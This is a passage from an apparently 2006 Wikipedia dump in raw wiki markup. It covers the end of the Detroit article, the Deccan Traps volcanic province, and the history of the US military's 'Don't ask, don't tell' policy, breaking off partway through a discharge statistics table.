Founded in 1907 by two Russian immigrant brothers in Detroit, [[Faygo]] soda (universally referred to as &quot;pop&quot; in the Detroit area) remains a Detroit tradition.  It was made famous by [[ICP]] and is sold internationally. Detroit was also the birthplace of [[Vernors]] [[ginger ale]], the oldest surviving soft drink in the United States. Detroit is also the home of the [[Better Made]] Chips Factory which makes [[potato chips]], Detroit is also considered the birthplace of the [[Coney Island hot dog]], a [[chili dog]] with onions and mustard.

=== Media ===
The major daily [[newspaper]]s serving Detroit are '' [[The Detroit Free Press]]'' and ''[[The Detroit News]]''. Other  Detroit publications are ''[[The Metro Times]]'' and ''Crain's Detroit Business''[http://www.crainsdetroit.com ], both weeklies. Detroit is also home to the weekly ''[[Michigan Chronicle]]'', the state's largest African American owned newspaper, and the ''[[Michigan Citizen]]'', another publication that targets African American readers.

The Detroit television market is the eleventh largest in the United States.[http://www.nielsenmedia.com/DMAs.html] Most [[television station]]s broadcasting from Detroit have their studios in [[Southfield, Michigan|Southfield]], which is also the site of transmission facilities of almost all Detroit-based stations. Stations broadcasting from Detroit include [[WJBK]] ([[Fox Broadcasting Company|Fox]]), [[WDIV-TV]] ([[NBC]]), [[WXYZ]] ([[American Broadcasting Company|ABC]]), and [[WWJ-TV]] ([[CBS]]). Other Metro Detroit television stations include [[WDWB]] ([[WB Television Network|The WB]]), [[WKBD-TV]] ([[UPN]]), [[WPXD-TV]] ([[I (TV network)|Pax TV]]) and [[WADL-TV]] (primarily broadcasting [[infomercials]]). [[WTVS]] is the city's [[Public Broadcasting Service|PBS]] member station. Detroiters also receive the broadcast signal from [[CBET]] channel 9, the [[CBC Television]] affiliate based in Windsor. Depending on the location, some viewers can also receive the [[TVOntario]], [[CTV television network|CTV]], [[Global Television Network|Global]], [[A-Channel]], [[Citytv]], and [[Télévision de Radio-Canada|SRC]] networks. People who live in the downtown area can also receive channels from [[Toledo, Ohio]], and from other Michigan cities such as [[Flint, Michigan|Flint]], [[Bay City, Michigan|Bay City]], and [[Midland, Michigan|Midland]]. [[Comcast]] has the one cable [[franchise]] so far granted by the city.

Detroit is also served by a variety of [[radio station]]s. The primary [[amplitude modulation|AM]] stations are [[WJR (AM)|WJR]] 760 (news-talk), [[WWJ (AM)|WWJ]] 950 (news), [[CKLW]] (Canadian general talk) and [[WDFN (AM)|WDFN]] 1130 (sports). Several [[frequency modulation|FM]] stations include [[100.3 WNIC|WNIC]] 100.3 (mix-genre), 101.1 [[WRIF]] (Rock), [[WJLB]] 97.9 (urban contemporary), [[WMXD]] (urban adult contemporary), and [[WOMC]] 104.3 (oldies). [[WDET]] 101.9 is the city's [[National Public Radio|NPR]] station. [[WUOM]] 91.7 and [[WEMU]] 89.1 are also regional NPR affiliates. [[Windsor, Ontario|Windsor]] radio stations [[CIMX-FM|CIMX]] 88.7 and [[CBE-FM|CBC 89.9]] can also be heard in the Detroit area.

In the [[1960s]], before widespread rock music exposure in national media, Detroit-area radio stations, especially [[CKLW]] with its powerful signal, were instrumental in propelling many musical acts, both local and out-of-town, to national stardom.

=== Sites of interest ===
[[Image:DIAfront Detroit USA.jpg|275px|thumb|Front of the Detroit Institute of Art located in Midtown]]
The [[Detroit Institute of Arts]] houses what is considered to be one of the most prominent American collections outside New York City, and features showcase pieces by [[Diego Rivera]], [[Picasso]] and [[Van Gogh]] along with such hometown artists as [[Charles McGee]]. The Detroit Institute of Arts is located in an area near [[Wayne State University]] known as the Cultural Center, which is also the site of the Detroit Historical Museum, Charles H. Wright Museum of African American History, Detroit Science Center, and the main branch of the Detroit Public Library. Other cultural highlights include the [[Hitsville U.S.A.|Motown Historical Museum]], [[Tuskegee Airmen]] Museum, Historic [[Fort Wayne (Detroit)]], Dossin Great Lakes Museum, and the Belle Isle Conservatory.

Major parks include [[Belle Isle (Michigan)|Belle Isle]] (the largest island park within a city in the U.S.), Palmer Park, River Rouge Park, Chene Park and [[Campus Martius Park]]. [[Hart Plaza]], located between the Renaissance Center and [[Cobo Hall]] on the riverfront, is the site of many events, notably various music festivals. Other city recreational facilities include municipal golf courses (William Rogell, Rouge, Belle Isle, Palmer Park), Northwest Activities Center, [[Detroit Zoo]], the [[Anna Scripps Whitcomb Conservatory]], and the [[Belle Isle Aquarium]]. As of April 2005 the Aquarium and Zoo at Belle Isle are closed, though there is a movement to reopen them.

The most important civic sculpture in Detroit is the &quot;[[Spirit of Detroit]]&quot;, which when it was installed in [[1958]] was the largest cast sculpture made since the Renaissance. The 16 foot (4&amp;nbsp;m) tall bronze kneeling man holds a gold orb in one hand and a golden family in the other. The image is often used as a symbol of Detroit and the statue itself is occasionally dressed in sports uniforms to celebrate when a Detroit team is doing well. A memorial to [[Joe Louis]] at the intersection of Jefferson and Woodward Avenues was dedicated on [[October 16]], [[1986]]. The sculpture, commissioned by [[Sports Illustrated magazine|''Sports Illustrated'']] and executed by [[Robert Graham (sculptor)|Robert Graham]], is a 24&amp;nbsp;foot (7.3 m) long arm with a fisted hand suspended by a 24 foot high pyramidal framework.

=== Sports ===
Detroit is home to professional teams representing the four major sports in North America. All but two play within the city of Detroit ([[basketball|basketball's]] [[Detroit Pistons]] and [[Detroit Shock]] play in suburban [[Auburn Hills]]). There are three active major sports venues in the city: [[Comerica Park]] for [[baseball]], [[Ford Field]] for [[American football|football]], and [[Joe Louis Arena]] for [[ice hockey]]. 

{| style=&quot;border: 1px solid #ADADAD; margin-bottom: 10px; padding-bottom: 5px;&quot;
|- bgcolor=#ADADAD align=left
! width=150px | Club
! width=100px | Sport
! width=270px | League
! width=120px | Stadium
! width=50px | Logo
|-
|[[Detroit Tigers]]
|[[Baseball]]
|[[Major League Baseball|MLB]]
|[[Comerica Park]]
|[[Image:DetroitTigers 100.png|20px|Detroit Tigers logo]]
|-
|[[Detroit Lions]]
|[[Football]]
|[[National Football League|NFL]]
|[[Ford Field]]
|[[Image:Lions100.png|20px|Detroit Lions logo]]
|-
|[[Detroit Pistons]]
|[[Basketball]]
|[[National Basketball Association|NBA]]
|[[Palace of Auburn Hills]]
|[[Image:DET 3079.gif|20px|Detroit Pistons logo]]
|-
|[[Detroit Red Wings]]
|[[Ice Hockey]]
|[[National Hockey League|NHL]]
|[[Joe Louis Arena]]
|[[Image:DetroitRedWings 100.png|20px|Detroit Red Wings logo]]
|-
|[[Detroit Shock]]
|[[Basketball]] (Women's)
|[[Women's National Basketball Association|WNBA]]
|[[Palace of Auburn Hills]]
|[[Image:DetroitShock 100.png|20px|Detroit Shock logo]]
|}
Like many industrial cities, Detroit is known for its avid fans, particularly in such blue-collar sports as football ([[Detroit Lions]]) and hockey ([[Detroit Red Wings]]). Detroit is perhaps the most fervent hockey hotbed in the United States. A Red Wings marketing campaign in the late [[1990s]] launched the nickname ''[[Hockeytown]]'', a city moniker subsequently embraced by local fans and national media.

In college sports, the [[University of Detroit Mercy]] has a [[NCAA]] [[Division I]] program, and [[Wayne State University]] has both [[NCAA]] Division I and [[Division II|II]] programs. The NCAA football [[Motor City Bowl]] is held here each December.

Detroit is home to the [[Detroit International Marathon]], which crosses the border into Canada via the [[Ambassador Bridge]] and returns to the United States through the [[Detroit-Windsor Tunnel]]. It is the world's only cross-national marathon. The city is also home to the APBA Gold Cup unlimited hydroplane boat race, which is held in Detroit each year since 1990. The race occurs on the Detroit River near Belle Isle.

Detroit was also the former home of a round of the [[Formula One]] World Championship, holding a race on the [[Detroit street circuit|streets of downtown Detroit]] from 1985 until 1988, after which the sanction moved from Formula One to [[Indycars]]. [[CART]] continued downtown until 1992, when the race was moved to another temporary course on [[Belle Isle (Michigan)|Belle Isle]] where the race remained through 2001.

Detroit was a finalist in bidding for the [[1944 Summer Olympics|1944]], [[1952 Summer Olympics|1952]], [[1956 Summer Olympics|1956]], [[1960 Summer Olympics|1960]], [[1964 Summer Olympics|1964]], [[1968 Summer Olympics|1968]], and [[1972 Summer Olympics|1972]] [[Summer Olympic Games]]. No other city has made it to the final [[IOC]] Olympic host city elections as often without eventually being selected. [http://www.gamesbids.com/english/archives/past.shtml] 

Comerica Park hosted the 2005 [[Major League Baseball All-Star Game|MLB All Star Game]] on [[July 12]], [[2005]], and [[Ford Field]] hosted [[Super Bowl XL]] on [[February 5]], [[2006]]. A world record was set on [[December 13]], [[2003]], when the largest crowd in basketball history &amp;mdash; 78,129 &amp;mdash; packed Ford Field to watch the [[University of Kentucky]] defeat [[Michigan State University]], 79&amp;ndash;74.

{{seealso|U.S. cities with teams from four major sports}}

==Infrastructure==
===Medicine===
Detroit is home to three major medical systems: the [[Detroit Medical Center]], Henry Ford Health System, and the St. John's Health System. Detroit Receiving Hospital and [[Henry Ford Hospital]] are both [[Level I trauma center]]s. Detroit is considered to have some of the busiest emergency rooms in the United States.

The Detroit Medical Center consists of Detroit Receiving Hospital and University Health Center, Children's Hospital of Michigan, Harper University Hospital, Hutzel Women's Hospital, Rehabilitation Institute of Michigan, and the Karmanos Cancer Institute. It is staffed by physicians from the [[Wayne State University]] School of Medicine, which is the largest single-campus medical school in the United States. Henry Ford Hospital, Children's Hospital of Michigan, and Harper University Hospital are consistently ranked by ''[[US News and World Report]]'' as some of the best [[hospital]]s in the United States.

===Transportation===
[[Image:800px-Eight_Mile_Road-fixed.jpg|250px|right|thumb|Exit onto 8 Mile Road from I-94]]
Because of its gateway between the United States and Canada and its major industrial status &amp;mdash; along with its major highways, rail connections and international airport &amp;mdash; Detroit has been an important transportation hub.

Detroit is the crossroads for three mainline [[Interstate Highway]]s:  [[I-94]] ([[Edsel Ford]] Freeway), [[I-96]] ([[Edward Jeffries|Jeffries]] Freeway) and [[I-75]] (Fisher and [[Walter P. Chrysler|Chrysler]] Freeways). [[I-696]] ([[Walter Reuther]] Freeway) serves the northern suburbs, while [[Interstate 275 (Michigan)|I-275]] serves the western suburbs and [[Interstate 375 (Michigan)|I-375]] is a short extension of the Chrysler Freeway. Other major routes are the [[John C. Lodge]] Freeway ([[Michigan State Highway 10|M-10]]), the [[Michigan State Highway 39|Southfield Freeway]] (M-39) and the [[Davison Freeway]] (M-8). All freeways except I-696 and I-275 were traditionally referred to by name (e.g. &quot;The Ford&quot;) rather than route number by Detroiters; this remains true for the non-Interstates. The city also has two international border crossings at the [[Ambassador Bridge]] and the [[Detroit-Windsor Tunnel]], linking Detroit to [[Windsor, Ontario]] to Canadian [[Highway 401]]. The Ambassador Bridge is the nation's busiest border crossing in terms of trade volume; it carries 25% of all traded US-Canada merchandise.

[[Coleman A. Young International Airport]], known as Detroit City Airport, is on Detroit's northeast side. Although [[Southwest Airlines]] once had service to the airport, there is currently no commercial passenger service. [[Detroit Metropolitan Wayne County Airport]] (DTW), the area's principal airport, is located in nearby [[Romulus, Michigan|Romulus]] and is a hub for [[Northwest Airlines]] and [[Spirit Airlines]]. [[Willow Run Airport]], in western Wayne and eastern Washtenaw counties near [[Ypsilanti, Michigan|Ypsilanti]] is a general aviation and cargo airport. Willow Run served as the primary manufacturing center for the [[B-24 Liberator]] during [[World War II]].  This and other area industries led to Detroit's WWII nickname as the ''Arsenal of Democracy''.[http://info.detnews.com/history/story/index.cfm?id=73&amp;category=locations]

[[Mass transit]] within the city functions within two separate spheres of influence. Transit services within the city are provided by the [[Detroit Department of Transportation]] (DDOT), which provides bus service that terminates at the suburbs' edges. Service in the suburbs is provided by [[Suburban Mobility Authority for Regional Transportation]] (SMART). Although SMART buses pick up passengers within Detroit, it cannot drop them off due to the exclusive jurisdiction the DDOT has over these routes. Combining the systems has been problematic and tainted by the racial politics that has affected all aspects of city-suburban relationships.  The [[automated guideway transit]] system known as the [[Detroit People Mover|People Mover]] provides a 2.9 mile (4.6 km) loop in the downtown area and usually operates daily.

The city is also served by [[Amtrak]] with routes connecting to [[Chicago, Illinois|Chicago]], [[Ann Arbor, Michigan|Ann Arbor]], and other Michigan destinations. The current rail facility, north of downtown, replaced the still standing but neglected [[Michigan Central Station]] west of downtown. Abandoned at a time when crime was rising in the neighborhood, Amtrak vacated the building in 1988. Designed by Warren &amp; Wetmore — the same architects who designed [[Grand Central Terminal]] in [[New York City]] — and opened in 1913, the station's fate remains unknown.

==See also==
*[[Black culture of Detroit]]
*[[Detroit in literature]]
*[[List of movies set in Detroit|Detroit in the movies]]
*[[Dances of Detroit]]
*[[East Detroit]]
*[[Nain Rouge]] -  a red dwarf who is said to attack people and bring bad luck to the city.
*[[People from Detroit]]

== Further reading ==
* Burton, Clarence M. ''Cadillac's Village: A History of the Settlement, 1701-1710'' (Detroit, 1896).
* Burton, Clarence M. ''The Building of Detroit'' (1912).
* Farley, Reynolds, et al. ''Detroit Divided'' (New York, 2002).
* Gavrilovich, Peter and Bill McGraw. ''The Detroit Almanac'' (Detroit, 2000).
* Powell, L. P. &quot;Detroit, the Queen City,&quot; ''Historic Towns of the Western States'' (New York, 1901).
* Farmer, Silas. ''The History of Detroit and Michigan'' (Detroit, 1889).
* Parkman, Francis. ''The Conspiracy of Pontiac'' (Boston, 1867).
* Poremba, David Lee. ''Detroit: A Motor City History''(2003).
* Sugrue, Thomas J. ''The Origins of the Urban Crisis'' (Princeton, 1996).

== External links ==
{{sisterlinks|Detroit, Michigan}}
*[http://www.ci.detroit.mi.us/ City of Detroit official website]
*[http://www.visitdetroit.com Detroit Metro Convention &amp; Visitors Bureau]
*[http://www.detroitchamber.com Detroit Regional Chamber of Commerce]
*[http://www.motorcityrocks.com MotorCityRocks.com:Chronicles the Detroit music scene]
*[http://www.forgottenmichigan.com Metro-Detroit Urban Exploration at Forgotten Michigan]
*[http://www.forgottendetroit.com/index.html Forgotten Detroit]
*[http://www.aperion.com/misc/Old_Detroiter_If.htm Old Detroiter?]
*[http://www.historydetroit.com/ HistoryDetroit]
*[http://www.detroitsportsonline.com/ Detroit Sports Online]
*[http://www.cityscapedetroit.org/Detroit_neighborhoods.html Detroit neighborhoods at CityscapeDetroit]
*[http://www.detroityes.com/index.html Fabulous ruins of Detroit]
*[http://doblevych.com/english/portfolio/photo/cities/detroit Detroit skyline]

*{{wikitravelpar|Detroit}}
{{Mapit-US-cityscale|42.3316|-83.0475}}
{{Michigan}}
{{USLargestCities}}

[[Category:Cities in Michigan]]
[[Category:Coastal cities]]
[[Category:County seats in Michigan]]
[[Category:Detroit, Michigan| ]]
[[Category:Former U.S. state capitals]]
[[Category:Wayne County, Michigan]]

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    </revision>
  </page>
  <page>
    <title>Deccan Traps</title>
    <id>8688</id>
    <revision>
      <id>41737259</id>
      <timestamp>2006-03-01T11:18:31Z</timestamp>
      <contributor>
        <username>Shyamal</username>
        <id>5798</id>
      </contributor>
      <text xml:space="preserve">The '''Deccan Traps''' is a [[large igneous province]] located in west-central [[India]] and is one of the largest [[volcanic]] features on [[Earth]]. It consists of multiple layers of solidified [[flood basalt]] that together are more than 2,000 m thick and cover an area of [[1 E11 m²|500,000 km²]]. The name is derived from the Swedish word for steps which refer to the step like hills forming the landscape of the region. 

The Deccan Traps formed between 60 and 68 [[geologic timescale|million years ago]],[http://www.mantleplumes.org/Deccan.html][http://ksgeo.kj.yamagata-u.ac.jp/~iwata/personal/Deccan-e.htm] at the end of the [[Cretaceous]] [[Geologic period|period]]. The gases released in the process may have played a role in the [[extinction]] of the [[dinosaur]]s. Before it was reduced to its current size by [[erosion]] and [[continental drift]], it is estimated that the original area covered by the [[lava|lava flow]]s was as large as 1.5 million km². The volume of basalt is estimated to have been 512,000 km³. 

It is postulated that the Deccan Traps eruption is associated with a deep [[mantle plume]] or [[hotspot (geology)|hotspot]]. The plume or hotspot, known as the [[Réunion hotspot]], is suspected of causing both the Deccan Traps eruption and opening the rift that once separated the [[Seychelles]] plateau from India. [[Seafloor spreading]] at the boundary between the Indian and [[African Plate]]s subsequently pushed India north over the hotspot, which now lies under [[Réunion]] island in the [[Indian Ocean]], southwest of India.

A large impact crater has been recently reported in the sea floor off the west coast of India. Called the [[Shiva crater]], it has also been dated at 65 million years, right at the [[Cretaceous-Tertiary extinction event|Cretaceous-Tertiary (K/T) boundary]]. The researchers suggest that the impact may have been the triggering event for the Deccan Traps as well as contributing to the acceleration of the Indian plate in the early [[Tertiary]]. [http://gsa.confex.com/gsa/2003AM/finalprogram/abstract_58126.htm]  However, opinion in the geologic community is not unanimous that this feature is actually an impact crater.[http://www.spacedaily.com/news/deepimpact-04r.html] Also, the reported age is in the middle of the ages given for the Deccan rocks.

The planet [[Venus (planet)|Venus]] is also thought to undergo vast basaltic flood eruptions, but on an even greater scale than those at Deccan Traps. It is not known whether the mechanisms are similar; Venus appears to lack Earth's [[plate tectonics]] and its internal structure may differ in other ways as well.

==See also==
* [[Deccan Plateau]]
* [[Siberian Traps]]
* [[Geology of Venus]]
* [[Geology of India]]

==References==
#[http://www.mantleplumes.org/Deccan.html The Deccan beyond the plume hypothesis]
#[http://ksgeo.kj.yamagata-u.ac.jp/~iwata/personal/Deccan-e.htm Geochronological Study of the Deccan Volcanism]
#[http://gsa.confex.com/gsa/2003AM/finalprogram/abstract_58126.htm 2003 GSA]
#[http://www.spacedaily.com/news/deepimpact-04r.html Space daily Deep Impact]
[[Category:Volcanoes of India]]
[[Category:Plate tectonics]]
[[Category:Large igneous provinces]]
[[fr:Trapps du Deccan]]
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    </revision>
  </page>
  <page>
    <title>Don't ask, don't tell</title>
    <id>8690</id>
    <revision>
      <id>42141470</id>
      <timestamp>2006-03-04T02:23:10Z</timestamp>
      <contributor>
        <username>Furby100</username>
        <id>620309</id>
      </contributor>
      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">'''''Don't ask, don't tell''''' is the common term for the current military policy which implements [[Public Law 103-160]], codified at [[10 U.S.C. Sec. 654]]. The policy prohibits anyone who has sexual bodily contact with a person of the same sex from serving in the [[Military of the United States|armed forces of the United States]], and prohibits any [[homosexual]] or [[bisexual]] from disclosing his or her [[sexual orientation]], or from speaking about any homosexual relationships, including marriages or other familial attributes, while serving in the [[United States armed forces]].

It was introduced as a compromise measure in 1993 by President [[Bill Clinton]], who while campaigning for the Presidency had promised to allow all citizens regardless of sexual orientation to serve openly in the military, a departure from the contemporary complete ban on those who are not heterosexual. The actual policy was crafted by [[Colin Powell]] and has been maintained by Clinton's successor, [[George W. Bush]]. The policy requires that as long as gay or bisexual men and women in the military hide anything that could disclose [[sexual orientation]], commanders will not try to investigate their sexuality. Many see the policy as a failure and it is opposed by some pro- and anti-gay advocates alike.

:''&quot;Sexual orientation will not be a bar to service unless manifested by homosexual conduct. The military will discharge members who engage in homosexual conduct, which is defined as a homosexual act, a statement that the member is homosexual or bisexual, or a marriage or attempted marriage to someone of the same gender.&quot;'' — quoted in &quot;The Pentagon's New Policy Guidelines on Homosexuals in the Military&quot;, ''[[The New York Times]]'' ([[July 20]][[1993]]), p.A14.

More generally, &quot;Don't ask, don't tell&quot; has come to describe any instance in which one person must keep their sexual orientation and any related attributes, including their family, a [[secret]], but where deliberate lying would be undesirable.

==History==
In 1994 gay journalist [[Randy Shilts]] published what is considered to be a definitive history of homosexuals in the armed forces, from the American Revolutionary War to the first Persian Gulf War.  The book's extensive interviews with numerous servicemen and women, along with historical research of the armed forces treatment of homosexuality in terms of sodomy, security clearances, witch hunts, women and ethnic minorities in the military, the AIDS-HIV pandemic, and the court challenges is considered to be solid scholarly research.

The early American revolutionary war armed forces did treat sodomy (then broadly defined as oral or anal sexual conduct) as grounds for being dishonorably discharged. The first recordered effort of such a discharge, was in 1778 where Lieutenant Gotthold Frederick Enslin was dishonorably discharged, with the approval of General George Washington, for a conviction of homosexual sodomy and later perjury for lying about it. However, the American revolutionary army relied heavily on the training of the [[Prussian]] drill master [[Baron von Steuben]], who was a confirmed bachelor and was secretly fleeing a charge in Europe for having sex with a man. The [[Articles of War]] kept the crime of sodomy, but it was not until 1942 that armed forces ruled that homosexual status was considered grounds for being separated from the military, through a process of recruitment screening, and internal investigations that some historians have seen as being witch-hunts. Thus homosexuals and bisexuals in the armed forces were subject to criminal sanctions under the sodomy prohibition or they could be given a dishonorable discharge, often a [[Section 8 (military)|Section 8]] and returned to civilian life where they would not receive veterans benefits and often had difficulty finding employment because most civilian employers knew what a Section 8 discharge meant.

The success of the armed forces in pre-screening out homosexuals and bisexuals from the 1940s - 1981 remains in dispute, and during the Vietnam Conflict some heterosexuals would try to pretend to be gay in order to avoid the draft. However, a significant number of gay men and women did manage to avoid the pre-screening process and serve in the military, some with special distinction. For example, in the 1950s - 1960s the Navy medical doctor [[Tom Dooley (humanitarian)|Tom Dooley]] received national fame for his anti-Communist and humanitarian efforts in Vietnam. His homosexuality was something of an open secret in the Navy, but eventually he was forced to resign and the Navy conducted the first official study on sexual orientation and the Navy regulations and rules. The 1957 reported, titled ''Report of the Board Appointed to Prepare and Submit Recommendations to the Secretary of the Navy for the Revision of Policies, Procedures and Directives Dealing With Homosexuals'' (aka the Crittenden Report) found that homosexuals were no more likely to be a security risk than heterosexuals and found there were no rational basis for excluding homosexuals from the Navy, although it stopped short of recommending a change in the regulations because of society's social mores.

Beyond the official regulations, homosexuals were often the target of various types of harassment by their fellow heterosexual servicemen, designed to persuade them to resign from the military or turn themselves in to investigators. The most infamous type of such harassment was called a &quot;blanket party&quot; and involved several other service members during the night in the barracks, who first covered the face of the victim with a blanket and then committed assault, often quite severely and occasionally even fatally. The introduction of &quot;Don't Ask, don't tell&quot; with the later amendment of &quot;don't harass, don't pursue&quot; has officially prohibited such behavior but reports suggest that such harassment is still commonplace. A common tactic aimed at women is [[lesbian baiting]], where a man will demand sexual relations with women, and if she does not comply, he will turn her in as a [[lesbian]].  The degree of official and unofficial attempts to separate homosexuals from the armed forces seems to be directly related to the personnel needs of the armed forces. Hence, during wartime, it has not been uncommon for the rules regarding homosexuality to be relaxed, and up until 1981 it was the policy of all branches of the armed forces to retain a homosexual, at their discretion, thus promoting the &quot;queen for a day&quot; rule. This especially became the case during the Vietnam War, where some heterosexuals would fake homosexuality in an attempt to avoid being drafted or to be discharged rather than be shipped to Vietnam.

However, during the 1970s several high-profile court challenges to the military's regulations on homosexuality occurred, with little success, and when such successes did occur it was when the plaintiff had been open about his homosexuality from the beginning or due to the existence of the &quot;queen for a day&quot; rule. In 1981 the [[United States Department of Defense|Department of Defense]] issued a new regulation on homosexuality that was designed to ensure to withstand a court challenge by developing uniform and clearly defined regulations and justifications that made homosexual status and conduct grounds for discharge (DOD Directive 1332.14 (Enlisted Administrative Separations), January, 1981):

&quot;Homosexuality is incompatible with military service. The presence in the military environment of persons who engage in homosexual conduct or who, by their statements, demonstrate a propensity to engage in homosexual conduct, seriously impairs the accomplishment of the military mission. The presence of such members adversely affects the ability of the armed forces to maintain discipline, good order, and morale; to foster mutual trust and confidence among service members; to insure the integrity of the system of rank and command; to facilitate assignment and worldwide deployment of service members who frequently must live and work in close conditions affording minimal privacy; to recruit and retain members of the armed forces; to maintain the public acceptability of military service; and to prevent breaches of security.&quot; 

The directive justifed the policy and removed the &quot;queen for a day&quot; rule that had prompted some courts to rule against the armed forces. However, the intent of the policy had also been to treat homosexuality as being akin to a disability discharge and thus ensure that homosexuals would be separated with an honorable discharge. The DOD policy has since withstood most court challenges, although the [[United States Supreme Court]] has refused to weigh in on the constitutionality of the policy, preferring to allow lower courts and the [[United States Congress]] to settle the matter.

However, in the 1980s many of the [[Democratic Party (United States)|Democratic Party]] presidential candidates had expressed an interest in changing the regulations concerning homosexuality in the armed forces, and, as American society's social mores changed, public opinion began to express more sympathy with homosexuals in armed foces, at least to the extent that investigations into a serviceman or womans's sexual orientation were seen as a witch-hunt. When Democratic Presidential candidate Bill Clinton won the election in 1992, the issue of &quot;gays in the military&quot; became a national issue.

In 1992 the United States General Accounting Office published a report titled ''Defense Force Management: DOD’s Policy on Homosexuality. GAO/NSAID-92-98'', that outlined the DOD policy on homosexuality and the reasons for it. The also included excerpts from a previously unpublished 1988 DOD study on homosexuality that made similar conclusions as the 1957 Crittenden Report. In 1993 the two reports were published alongside an argument by an armed forces general who argued against lifting the ban on homosexuals based on a belief that homosexuals pose a security risk, will erode unit cohesion and morale alongside the argument that most homosexuals are [[pedophile]]s who engage in a self-destructive and immoral life-style.

Congressional opposition to lifting the ban on homosexuals in the armed forces was led by [[Democratic Party (United States)|Democrat]] Senator [[Sam Nunn]] of [[Georgia (U.S. state)|Georgia]] who organized Congressional hearings that largely buffed the armed forces position that has remained unchanged since the 1981 directive. While Congressional support for reform was led by Democrat Congressmen [[Barney Frank]] of [[Massachusetts]], who fought for a compromise, and retired [[Republican Party (US)|Republican]] Senator [[Barry Goldwater]], who argued for a complete repeal of the ban. Social conservative interest groups successfully flooded the Congressional phone lines with oppositions to lifting the ban, and for his part, President Clinton soon backed off on his campaign promise to lift the ban on homosexuals in the armed forces. The final result was a Congressional compromise of &quot;Don't ask, don't tell&quot; that was later amended to include &quot;don't harass.&quot; Officially, the compromise dictates that the armed forces will no longer ask recruits about their sexual orientation, will not investigate any serviceman or woman's sexual orientation without solid evidence (thus preventing witch-hunts), and homosexual servicemen and women agree that they will not engage in homosexual sex acts, or do anything that announces that they are a homosexual, i.e. public statements or participate in a same-sex marriage.  However, the number of homosexuals discharged from the armed forces after the change in policy actually grew as did reports of harassment and unsuccessful court challenges.

In 2000, Northwestern Univeristy Professor Charles Moskos, the principal author of DADT, told &quot;Lingua Franca&quot; that he felt that policy will be gone within five to ten years. Moskos also dismissed the unit cohesion argument, instead arguing that homosexuals should be banned due to &quot;modesty rights,&quot; saying &quot;Fuck unit cohesion. I don't care about that...I should not be forced to shower with a woman. I should not be forced to shower with a gay [man].&quot; Moskos did not offer any alternative to his DADT policy.

In January 2005, it was reported by the Department of Defense that between the fiscal years 1998 and 2003, twenty Arabic- and six Farsi-language experts were separated from the armed forces due to &quot;telling.&quot;  Such language experts are considered particularly difficult to recruit and highly valuable considering the level of American military activity in the Middle East.  

&quot;Don't Ask, Don't Tell&quot; has been upheld five times in federal court, but the United States Supreme Court is leery of addressing the issue. The historic [[Supreme Court of the United States|Supreme Court]] decision of [[Lawrence v. Texas]] (2003), invalidating criminal prohibitions of homosexual sex, on substantive due process and equal protection grounds could lay the precedent for restricting the usage of the armed force's sodomy law as while the military law is broadly written to include heterosexual or homosexual sodomy, it has not been used against adult consensual acts of heterosexual sodomy.  

In April 2005 [[The Pentagon]]'s [[General Counsel]] issued a recommendation that definition of sodomy should be revised from &quot;unnatural carnal copulation with another person of the same or opposite sex&quot; to only involve cases of force or involvement of a minor below the age of sixteen, but The Pentagon quickly denouced the statement. 

On September 13, 2005, the [[Center for the Study of Sexual Minorities in the Military]], a [[think tank]] affiliated with the [[University of California, Santa Barbara]], issued a news release revealing the existence of a 1999 [[FORSCOM]] regulation (Regulation 500-3-3) that allowed the active duty deployment of Army Reservists and National Guard troops who say they are gay or who are accused of being gay. U.S. Army Forces Command spokesperson Kim Waldron later confirmed the regulation and indicated that it was intended to prevent Reservists and National Guard members from pretending to be gay to escape combat ([http://washblade.com/2005/9-23/news/national/outiraq.cfm]).

==Statistics==
Statistics on the number of persons discharged from the military in the years since the policy was first introduced (1993) show that more people are discharged now than were before.  Also, more of these people are given honorable discharges than was the case before.

&lt;table border=&quot;1&quot; width=50%&gt;
&lt;caption&gt;''From [[Servicemembers Legal Defense Network]] - Annual Gay Discharges Under &quot;Don't Ask, Don't Tell, Don't Pursue, Don't Harass&quot;''&lt;/caption&gt;
&lt;tr&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;[[United States Coast Guard|Coast Guard]]&lt;/th&gt;
&lt;th&gt;[[United States Marine Corps|Marines]]&lt;/th&gt;
&lt;th&gt;[[United States Navy|Navy]]&lt;/th&gt;
&lt;th&gt;[[United States Army|Army]]&lt;/th&gt;
&lt;th&gt;[[United States Air Force|Air Force]]&lt;/th&gt;
&lt;th&gt;Total&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1994&lt;/td&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;36&lt;/td&gt;&lt;td&gt;258&lt;/td&gt;&lt;td&gt;136&lt;/td&gt;&lt;td&gt;187&lt;/td&gt;&lt;td&gt;617&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1995&lt;/td&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;69&lt;/td&gt;&lt;td&gt;269&lt;/td&gt;&lt;td&gt;184&lt;/td&gt;&lt;td&gt;235&lt;/td&gt;&lt;td&gt;772&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1996&lt;/td&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;60&lt;/td&gt;&lt;td&gt;315&lt;/td&gt;&lt;td&gt;199&lt;/td&gt;&lt;td&gt;284&lt;/td&gt;&lt;td&gt;870&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1997&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;78&lt;/td&gt;&lt;td&gt;413&lt;/td&gt;&lt;td&gt;197&lt;/td&gt;&lt;td&gt;309&lt;/td&gt;&lt;td&gt;1007&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1998&lt;/td&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;77&lt;/td&gt;&lt;td&gt;345&lt;/td&gt;&lt;td&gt;312&lt;/td&gt;&lt;td&gt;415&lt;/td&gt;&lt;td&gt;1163&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;1999&lt;/td&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;97&lt;/td&gt;&lt;td&gt;314&lt;/td&gt;&lt;td&gt;271&lt;/td&gt;&lt;td&gt;352&lt;/td&gt;&lt;td&gt;1046&lt;/td&gt;&lt;/tr&gt;
